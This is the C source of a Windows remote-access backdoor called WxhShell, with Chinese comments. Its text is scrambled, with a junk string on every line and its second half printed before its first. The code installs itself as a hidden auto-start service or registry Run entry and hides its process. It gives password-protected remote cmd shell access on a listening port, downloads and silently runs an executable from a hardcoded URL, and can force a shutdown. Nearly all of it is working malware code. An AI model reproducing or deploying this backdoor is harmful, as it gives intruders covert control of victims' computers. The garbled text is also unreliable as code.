    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +7^%fX;3pW  
    else { =MB[v/M59w  
    closesocket(wsh); a&.8*|w3  
    ExitThread(0); |"5NI'X?  
    } e DX{}Dq(  
    break; 6n  
    } UXDd8OJL  
  // 获取shell (t>BO`,  
  case 's': { nI|jUD +y  
    CmdShell(wsh); Iy8Ehwejd  
    closesocket(wsh); T.`EDluG  
    ExitThread(0); .N5}JUj  
    break; 5``/exG>  
  } u~bk~ 3.I  
  // 退出 l yF~E  
  case 'x': { DN;g2 R`f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); flR6^6E  
    CloseIt(wsh); qg'RD]a>R  
    break; ~>k<I:BtrT  
    } ,wlF n  
  // 离开 XcR2]\  
  case 'q': { (O\5gAx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  zy  
    closesocket(wsh); b5No>U) /  
    WSACleanup(); ;} Ty b  
    exit(1); Z8z.Xn  
    break; Wf-i)oc4I  
        } P`@d8 %*;  
  } ;&s`g   
  } ?E^~z-  
;R@zf1UYA  
  // 提示信息 sn@gchO9s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )ra_`Qdcf  
} QO[!  
  } rt_%_f>qd  
F7Mf>."  
  return; :~~}|Eu  
} c/^} =t(  
}XX)U_ x  
// shell模块句柄 CDK0 $W n  
int CmdShell(SOCKET sock) ;v^tUyhCb  
{ vYKKv%LE  
STARTUPINFO si; Urm&4&y  
ZeroMemory(&si,sizeof(si)); [v^T]L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;;2XLkWu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5qt]~v%y  
PROCESS_INFORMATION ProcessInfo; zFN:C()ig  
char cmdline[]="cmd"; mHM38T9C%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b" 1a7   
  return 0; FF0N{bY  
} 3yszf Wr  
eY-W5TgU  
// 自身启动模式 kl?U 2A.=  
int StartFromService(void) Yev] Lp  
{ ~4"adOv  
typedef struct P%8 Gaa=  
{ |cEJRs@B  
  DWORD ExitStatus; AA6_D?)vv  
  DWORD PebBaseAddress; Y}&//S A  
  DWORD AffinityMask; aqQ YU5l4~  
  DWORD BasePriority; ZNuz%VO  
  ULONG UniqueProcessId; f7Y0L8D  
  ULONG InheritedFromUniqueProcessId; ZgP=maQk  
}   PROCESS_BASIC_INFORMATION; s )POtJ<  
+ 0{m(%i  
PROCNTQSIP NtQueryInformationProcess; 6NPCp/  
MCZTeYnx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !g  #  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jV2L;APCq  
:1^ R$0d  
  HANDLE             hProcess; $A;jl`ng  
  PROCESS_BASIC_INFORMATION pbi; UOJx-o!c?  
4w\ r `@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x{6KsYEY  
  if(NULL == hInst ) return 0; d&BocJ  
qsOA(+ZP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JR8 b[Oj.S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c@wSv2o$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .vE=527g)  
[CL.Xil=  
  if (!NtQueryInformationProcess) return 0; Hbu8gqu  
m2F2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V(I!HT5.W  
  if(!hProcess) return 0; )_k"_VVcC  
IppzQ0'=y1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ls< ";QJc  
/2N'SOX  
  CloseHandle(hProcess); G0oY`WXOB  
4wjy)VD_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )h6hN"#V5  
if(hProcess==NULL) return 0; gHdNqOy c  
UCG8=+t5T  
HMODULE hMod; e/Wrm^]y  
char procName[255]; Ydm 0  
unsigned long cbNeeded; 6i|5`ZO  
f4UnLig  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7|%|w  
i8iv{e2  
  CloseHandle(hProcess); _1Iy/T@1  
" !F)K  
if(strstr(procName,"services")) return 1; // 以服务启动 \UA\0p  
}(k#,&Fv`  
  return 0; // 注册表启动 TUHm.!+a  
} B~+3<#B  
+Z> Y//  
// 主模块 =r"-Pm{  
int StartWxhshell(LPSTR lpCmdLine) &|yQwNA*a"  
{ *j5>2-C &  
  SOCKET wsl; TRP#b 7nC  
BOOL val=TRUE; q.0Evr:  
  int port=0; !~Vo'ykwx'  
  struct sockaddr_in door; 4<}!+X7m  
yM aU`z  
  if(wscfg.ws_autoins) Install(); 5.m&93P  
}<R,)ZV^G  
port=atoi(lpCmdLine); iO1ir+B\  
Z6s-n$dSm  
if(port<=0) port=wscfg.ws_port; w0qrh\3du  
`EKmp|B_p_  
  WSADATA data; G&,1 NjSi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b3R1L|@  
I><B6pIR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G"k.sRKu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ha[c<e]uo[  
  door.sin_family = AF_INET; qE B3Y54+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e_RLKFv7  
  door.sin_port = htons(port); DrI"YX  
nhV\<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vw-,G7v&E  
closesocket(wsl); ,LI$=lJ@  
return 1; Z|3 fhaT  
} (-S<9u-r  
mm}y/dO~}  
  if(listen(wsl,2) == INVALID_SOCKET) { O2i7w1t  
closesocket(wsl); gJa48 pi  
return 1; NSe H u k  
} mj{B_3b5  
  Wxhshell(wsl); Lx%*IE|c  
  WSACleanup(); #1Zqq([@  
T_t5Tg~i[N  
return 0; di.yh3N$  
-R %T Dx  
} (~>uFH  
=MR.*m{  
// 以NT服务方式启动 MoAie|MKe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1oKF-";u(  
{ .8o?`  
DWORD   status = 0; h/oRWl0r  
  DWORD   specificError = 0xfffffff; Ov$>CA  
|Gp!#D0b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F/pq9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /ILj}g'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OlU')0Y  
  serviceStatus.dwWin32ExitCode     = 0; ->Z9j(JU  
  serviceStatus.dwServiceSpecificExitCode = 0; )6+Z99w  
  serviceStatus.dwCheckPoint       = 0; ))T@U?r  
  serviceStatus.dwWaitHint       = 0; o<h2]TN  
D;nd_{%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (g" {A  
  if (hServiceStatusHandle==0) return; &f=O`*I'+!  
NS<C"O  
status = GetLastError(); :1 *q}R   
  if (status!=NO_ERROR) vCvjb\S  
{ ML_$/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  yqH  
    serviceStatus.dwCheckPoint       = 0; [8C|v61Y  
    serviceStatus.dwWaitHint       = 0; vHJOpQmt~  
    serviceStatus.dwWin32ExitCode     = status; IRhi1{K$"  
    serviceStatus.dwServiceSpecificExitCode = specificError; * 'eE[/K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Clz. p  
    return; is~"yE7  
  } #|PPkg%v<  
7MWd(n-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J.E Bt3  
  serviceStatus.dwCheckPoint       = 0; 4nsc`Hu  
  serviceStatus.dwWaitHint       = 0; ]ilQq~X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1.9bU/X  
} (@DqKB  
!S.O~Kq  
// 处理NT服务事件,比如:启动、停止 ]z5kYU&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8H'ybfed  
{ DC samOA~  
switch(fdwControl) *S xDwN  
{ awXK9}.  
case SERVICE_CONTROL_STOP: FR9w0{o  
  serviceStatus.dwWin32ExitCode = 0; HNJR&U t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gmUXh;aHc  
  serviceStatus.dwCheckPoint   = 0; A%[e<vj9  
  serviceStatus.dwWaitHint     = 0; reQr=OAez  
  { sYEh>%mo^C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Y]% S9.  
  } qX[{_$^Q  
  return; >&DC[)28  
case SERVICE_CONTROL_PAUSE: pV8_i7\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nND; lVQSO  
  break; Z~0TO-Q  
case SERVICE_CONTROL_CONTINUE: lRk_<A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vjL +fH<0:  
  break; t[e]AU[}  
case SERVICE_CONTROL_INTERROGATE: $u~*V  
  break; ZZ>"LH  
}; {|d28!8w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M(^_/ 1Z  
} kYhV1I  
 )[S#:PP  
// 标准应用程序主函数 r>e1IG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vfd<qdi3p(  
{ /0swrt.  
~6"=d  
// 获取操作系统版本 {q/;G!ON.S  
OsIsNt=GetOsVer(); $`A{-0=x\U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l4gF.-.GYF  
4#Xz-5v  
  // 从命令行安装 !/ a![Ne  
  if(strpbrk(lpCmdLine,"iI")) Install(); vbD""  
_Sg"|g  
  // 下载执行文件 gSa!zQN6  
if(wscfg.ws_downexe) { {/FdrS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i]#"@xQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); Kv9$c(~#  
} 3PjX;U|  
"{S6iH)]8  
if(!OsIsNt) { BTzBT%mP  
// 如果时win9x,隐藏进程并且设置为注册表启动 1{ H=The  
HideProc(); b'ZzDYN  
StartWxhshell(lpCmdLine); s{Og3qUy  
} P BVF'~f@j  
else vM@8&,;  
  if(StartFromService()) vX7U|zy  
  // 以服务方式启动 ?n]adS{  
  StartServiceCtrlDispatcher(DispatchTable); k:&vW21E  
else yq?\.~ax  
  // 普通方式启动 Q>q-6/|UX  
  StartWxhshell(lpCmdLine); R XCjYzt  
?I8r2M]  
return 0; uHsLlfTn  
} MK-+[K  
!|W.YbS  
1V wcJd  
W ]$/qyc&J  
=========================================== .Y|wG<E  
n0LNAhM  
h<Ct[46,S  
? 'qyI^m@  
v, CWE  
xk  
" 3RX9LJGX  
S0Ur{!9\#^  
#include <stdio.h> B^!-%_q  
#include <string.h> -e_|^T"  
#include <windows.h> QH,Fw$1  
#include <winsock2.h> x=Aq5*A0  
#include <winsvc.h> Kx?.g#>U;  
#include <urlmon.h> *;(^)Sj4Q  
G!`PP  
#pragma comment (lib, "Ws2_32.lib") 0x,**6  
#pragma comment (lib, "urlmon.lib") d-C%R9  
;[79Ewd#$  
#define MAX_USER   100 // 最大客户端连接数 -dWg1`;  
#define BUF_SOCK   200 // sock buffer diNAT`|?#  
#define KEY_BUFF   255 // 输入 buffer .p]r S =#  
Dpwqg3,  
#define REBOOT     0   // 重启 bSz@@s.  
#define SHUTDOWN   1   // 关机 V%{WH}  
ek.@ 0c  
#define DEF_PORT   5000 // 监听端口 rq^%)tR  
0~EGrEt  
#define REG_LEN     16   // 注册表键长度 s3T7M:DM4  
#define SVC_LEN     80   // NT服务名长度 [K@(,/$  
c|d,:u#  
// 从dll定义API c^O&A\+;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @eZBwFe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qX`Hi9ja  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }VRl L>HAC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fJP *RVz  
|VzXcV-"8)  
// wxhshell配置信息 JQ;.+5 N<K  
struct WSCFG { F\hVunPVx  
  int ws_port;         // 监听端口 c:52pYf+  
  char ws_passstr[REG_LEN]; // 口令 c3Gy1#f:#2  
  int ws_autoins;       // 安装标记, 1=yes 0=no pH2/." zE<  
  char ws_regname[REG_LEN]; // 注册表键名 }a/z.&x]V  
  char ws_svcname[REG_LEN]; // 服务名 'Hzc"<2Y\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $hHV Ie]+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *Ojl@N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 piH0_7qr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q)y5'u qZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mo3A*|U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "G-h8IN^O  
sYo&@~T  
}; 7AS_Aw1L  
98)C 7N'  
// default Wxhshell configuration MRw4?HqB  
struct WSCFG wscfg={DEF_PORT, ?:M4GY" gV  
    "xuhuanlingzhe", [KFCc_:  
    1, q2r$j\L%  
    "Wxhshell", $.t>* Bq  
    "Wxhshell", mBJr*_p  
            "WxhShell Service", R8:5N3Fx  
    "Wrsky Windows CmdShell Service", >_xuXEslUz  
    "Please Input Your Password: ", YF-A8gXS  
  1, TpwN2 =  
  "http://www.wrsky.com/wxhshell.exe", 7R7+jL,  
  "Wxhshell.exe" Be6+YM5Cl  
    }; !yVY[  
dA (n,@{  
// 消息定义模块 z;dRzwL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -%]1q#C>@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rQ_]%ies8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t,dm3+R  
char *msg_ws_ext="\n\rExit."; Ssuz%*  
char *msg_ws_end="\n\rQuit."; /M::x+/T  
char *msg_ws_boot="\n\rReboot..."; <5mv8'{L  
char *msg_ws_poff="\n\rShutdown..."; w3"L5;oH  
char *msg_ws_down="\n\rSave to "; `Oi#`lC\  
A)4XQF  
char *msg_ws_err="\n\rErr!"; ^a`3)WBv8  
char *msg_ws_ok="\n\rOK!"; dHTx^1  
-Ci&h  
char ExeFile[MAX_PATH]; 5 2 Qr  
int nUser = 0; )`(]jx!  
HANDLE handles[MAX_USER]; cC>Svf[CzK  
int OsIsNt; jI0gf&v8  
c|`$ h  
SERVICE_STATUS       serviceStatus; 7i{(,:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *Ow2,{Nn  
W;cY g.W2  
// 函数声明 79c M _O  
int Install(void); Ncsh{.  
int Uninstall(void); ;9WUt,R  
int DownloadFile(char *sURL, SOCKET wsh); <xF]ca  
int Boot(int flag); },#7  
void HideProc(void); p}h.2)PO  
int GetOsVer(void); : \qapFV  
int Wxhshell(SOCKET wsl); +&S6se4  
void TalkWithClient(void *cs); x~R,rb   
int CmdShell(SOCKET sock); I#M>b:"t e  
int StartFromService(void); j)Ak:l%a  
int StartWxhshell(LPSTR lpCmdLine); 4bp})>}jB  
!H)-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rm9>gKN;#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q^sZP\i,*;  
,c  ^nW  
// 数据结构和表定义 "OK[uug  
SERVICE_TABLE_ENTRY DispatchTable[] = KK #E qJ  
{ /5/gnp C  
{wscfg.ws_svcname, NTServiceMain}, &^DVSVqs^  
{NULL, NULL} =EMB~i  
}; f+hHc8g  
[:#K_EI5%  
// 自我安装 knYp"<qj  
int Install(void) 'sH_^{V2  
{ 6 iMJ0  
  char svExeFile[MAX_PATH]; c`p '5qz  
  HKEY key; <$zhNu~  
  strcpy(svExeFile,ExeFile); M2|h.+[Q  
E/a2b(,Tg  
// 如果是win9x系统,修改注册表设为自启动 CxjB9#  
if(!OsIsNt) { MjQju@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \.O&-oi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wh| T3&  
  RegCloseKey(key); /z4c>)fV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y8]@y0(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2vLun   
  RegCloseKey(key); z)U7  
  return 0; Dqii60  
    } |u^S}"@3sU  
  } :o{,F7(P  
} ltDohm?  
else { \>Rfa+  
[%^sl>,7  
// 如果是NT以上系统,安装为系统服务 -5 PVWL\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w6cl3J&  
if (schSCManager!=0) 1n!:L!,`  
{ +Tu?PuT7k  
  SC_HANDLE schService = CreateService Jj+Q2D:  
  ( sAqy(oy#M  
  schSCManager, T9w=k)  
  wscfg.ws_svcname, rG6G~ |mS  
  wscfg.ws_svcdisp, irD5;xk([  
  SERVICE_ALL_ACCESS, K_YOp1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  [. 9[?8  
  SERVICE_AUTO_START, ?..BA&zRk  
  SERVICE_ERROR_NORMAL, 2O[sRm)  
  svExeFile, =hFY-~U  
  NULL, 'xj5R=V  
  NULL, l7qW)<r  
  NULL, MkoK(m{7  
  NULL, r>peKo[X(  
  NULL bV&9>fC  
  ); bA#9'Qu^j  
  if (schService!=0) 2<I=xWwFA  
  { f%@~|:G:  
  CloseServiceHandle(schService); =dDPQZEin  
  CloseServiceHandle(schSCManager); `sT;\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lMGO4U[z  
  strcat(svExeFile,wscfg.ws_svcname); >bze0`}Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0t^FM<7G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dGBjV #bNT  
  RegCloseKey(key); <JWU@A-.y  
  return 0; rY45.,qWs  
    } mLZ1u\ 7W  
  } G@`F{l  
  CloseServiceHandle(schSCManager); X\ P%C  
} -i2rcH  
} b|Emu!9U  
|_TI/i>?'  
return 1; px K&aY8  
} "nu]3zcd  
sb{K%xi%  
// 自我卸载 O%\cRn8m  
int Uninstall(void) zvdut ,6<  
{ "4\  
  HKEY key; 7[;!enO  
{ sC Ni  
if(!OsIsNt) { mW%8`$rVEO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F6[F~^9D  
  RegDeleteValue(key,wscfg.ws_regname); uW!XzX['  
  RegCloseKey(key); MmjZq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lxL.ztL  
  RegDeleteValue(key,wscfg.ws_regname); #Z2 'Y[@.  
  RegCloseKey(key); ?QT6q]|d0+  
  return 0; w/m@(EBK  
  } =eQB-Xe8Y  
} N:| :L:<1  
} ~h3G}EH  
else { ?<!q F:r:  
W^ L ^7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /_qq(,3  
if (schSCManager!=0) bKCE;Wu:G  
{ ;F"!$Z/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MIIl+   
  if (schService!=0) y ;[~(Yg[  
  { (V6bX]<  
  if(DeleteService(schService)!=0) { I!Z`'1"  
  CloseServiceHandle(schService); 3t TOs  
  CloseServiceHandle(schSCManager); k9rws  
  return 0; -|m3=#  
  } JK =A=  
  CloseServiceHandle(schService); #!R>`l(S  
  } }b(h D|e  
  CloseServiceHandle(schSCManager); Th9V8Rg+E  
} JfN5#+_i  
} !t23 _b0  
,]2?S5R  
return 1; =){ G  
} uxU-N  
cWkg.ri-x  
// 从指定url下载文件 dRJ ](Gw  
int DownloadFile(char *sURL, SOCKET wsh) 'OtT q8G  
{ fAULuF  
  HRESULT hr; -`k>(\Q< d  
char seps[]= "/";  9Bt GzI\  
char *token; F5Xb_&   
char *file; TI7$J#  
char myURL[MAX_PATH]; X#&5?oq`  
char myFILE[MAX_PATH]; _:m70%i  
FQ<x(&/NF  
strcpy(myURL,sURL); V pnk>GWD  
  token=strtok(myURL,seps); ,_kw}_n=  
  while(token!=NULL) PF`uwx@zH  
  { AfTm#-R  
    file=token; Df4O~j$U"s  
  token=strtok(NULL,seps); &IUA[{o~e  
  } 3k)xzv%r`  
=IMmtOvJ  
GetCurrentDirectory(MAX_PATH,myFILE); zas&gsl-;  
strcat(myFILE, "\\"); jum"T\  
strcat(myFILE, file); SF:98#pg  
  send(wsh,myFILE,strlen(myFILE),0); ]XEyG7D  
send(wsh,"...",3,0); ; CCg]hX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FLMiW]?x  
  if(hr==S_OK) L[2qCxB'^  
return 0; z[c8W@OJ  
else ta)gOc)r R  
return 1; 5?>4I"ne  
Ep;uz5 ^8  
} l[T-Ak  
)4ek!G]Rb  
// 系统电源模块 F+H]{ss>  
int Boot(int flag) v8f3B<kj  
{ plWNuEW  
  HANDLE hToken; oWY3dc  
  TOKEN_PRIVILEGES tkp; *B|hRZka1A  
qB$-H' j:;  
  if(OsIsNt) { s1 >8uW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |URfw5Hm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %"H:z  
    tkp.PrivilegeCount = 1; cn} CI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1yE',9?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7T)y"PZ  
if(flag==REBOOT) { kC.dJ2^j+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8UjIC4'  
  return 0; CB#2XS>V  
} ^&YtZjV  
else { K:U=Y$x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fF0K].  
  return 0; ' bl9fO4v  
} oT{9P?K8  
  } u* pQVU  
  else { 1 Gr^,Ry  
if(flag==REBOOT) { -KGJr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0BC @wV  
  return 0; oYw?kxRZ  
} Sn-#Y(>]o0  
else { )jL@GW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0OHXg=  
  return 0; h~#F2#.  
} ;&j'`tP  
} )W\ )kDh!  
SdlO]y9E  
return 1; O<s7VHj  
} . \a+m  
|^8ND #x  
// win9x进程隐藏模块 55O}SUs!P  
void HideProc(void) VjWJx^ZL#  
{ i<Ms2^  
!hQ-i3?qm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  GhfhR^P  
  if ( hKernel != NULL ) eW8cI)wU  
  { !b`fykC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zl3l=x h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F[\T'{  
    FreeLibrary(hKernel); t_Eivm-,B  
  } js"Yh  
J0IKI,X.  
return; zdJPMNHg  
} ;b [>{Q;  
p_Xfj2E4c  
// 获取操作系统版本 bnfeZR1m_  
int GetOsVer(void) : _Y^o  
{ \xS X'/G  
  OSVERSIONINFO winfo; h:pgN,W}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c(hC'Cp  
  GetVersionEx(&winfo); "T5jz#H#/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qOG@MR(5  
  return 1; ByjfPb#  
  else 15{^waR6  
  return 0; 3|$?T|#B  
} RgoF4g+@  
*m "@*O'  
// 客户端句柄模块 L?u {vX  
int Wxhshell(SOCKET wsl) S<]k0bC  
{ l atm_\  
  SOCKET wsh;  $Z &6  
  struct sockaddr_in client; %t_'rv  
  DWORD myID; G:b6Wf  
Z6gwAvf<  
  while(nUser<MAX_USER) 8i "CU:(  
{ A&1EOQ=N  
  int nSize=sizeof(client); eJqx,W5MK]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yzfiH4  
  if(wsh==INVALID_SOCKET) return 1; %u%;L+0Q[  
%GjG.11V,_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Aa1#Ew<r  
if(handles[nUser]==0) 9Y2u/|!.3  
  closesocket(wsh); ; ]% fFcy  
else 9*iVv)jd  
  nUser++; K_U`T;Z\  
  } .n IGs'P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q']'KU.  
E7h@c>IK  
  return 0; 7V=deYt_p  
} h(q4 B~  
lg-`zV3  
// 关闭 socket (1S9+H>g  
void CloseIt(SOCKET wsh) =4q5KI  
{ ; t7F%cDA  
closesocket(wsh); !(bYh`Uy  
nUser--; W9gQho%9b  
ExitThread(0); }k AE  
} tx;2C|S$oU  
 @B{  
// 客户端请求句柄 bL<H$DB6  
void TalkWithClient(void *cs) 5Zc  
{ 8Ie0L3d-  
|qpm  
  SOCKET wsh=(SOCKET)cs; mKM[[l&A  
  char pwd[SVC_LEN]; b^i$2$9_  
  char cmd[KEY_BUFF]; :6C R~p  
char chr[1]; oBai9 [+  
int i,j; DDIRJd<J  
"c~``i\G   
  while (nUser < MAX_USER) { zhE4:g9v  
Fc=F2Mo?  
if(wscfg.ws_passstr) { n"iaE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M&zB&Ia"'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2:.$:wS  
  //ZeroMemory(pwd,KEY_BUFF); $m>( kd1  
      i=0; hQ%X0X,  
  while(i<SVC_LEN) { ZyU/ .Uk  
6;I zw$X  
  // 设置超时 cJT_Qfxx  
  fd_set FdRead; %\v  
  struct timeval TimeOut; k!qOE\%B  
  FD_ZERO(&FdRead); 1\-lAk!   
  FD_SET(wsh,&FdRead); !bK;/)  
  TimeOut.tv_sec=8; #/(L.5d[  
  TimeOut.tv_usec=0; 6UN{Vjr%`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (q 7;/n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N<(rP1)`v  
]%7m+-h@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yo5ged]i  
  pwd=chr[0]; N+R{&v7=F%  
  if(chr[0]==0xd || chr[0]==0xa) { lh0G/8+C  
  pwd=0; #I ,c'Vj  
  break; brE%/%! e  
  } !`U #Pjp.  
  i++; V[44aN  
    } ,iiI5FR  
RionKiN  
  // 如果是非法用户,关闭 socket 4wS!g10}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '6WZi|(a  
} <1sUK4nQ,  
2#`d:@r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `ER#S_}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cw BiT  
_ Axw$oYS  
while(1) { %AgCE"!  
5=poe@1g  
  ZeroMemory(cmd,KEY_BUFF); `EP-Qlm  
N:^4On VR  
      // 自动支持客户端 telnet标准   00W_XhJ  
  j=0; <1V>0[[e  
  while(j<KEY_BUFF) { zS\m8[+]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ='/#G0W  
  cmd[j]=chr[0]; }q/[\3  
  if(chr[0]==0xa || chr[0]==0xd) { 5',b~Pp  
  cmd[j]=0; R;/LB^X]  
  break; 2zjY|g/  
  } \<=.J`o{  
  j++; )A;jBfr  
    } o5z&sRZ  
v<} $d.&*  
  // 下载文件 &M\qVL%w  
  if(strstr(cmd,"http://")) { Wu?[1L:x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wzI*QXV2s  
  if(DownloadFile(cmd,wsh)) d D^?%,a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K8iQ?  
  else n u>6UjV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { 6*UtG  
  } {2&MyxV  
  else { _ZuI x=!  
zy9W{{:P(1  
    switch(cmd[0]) { GsWf$/iC:  
  BI6`@}%7>  
  // 帮助 na/,1iI<  
  case '?': { 7 (i\?  
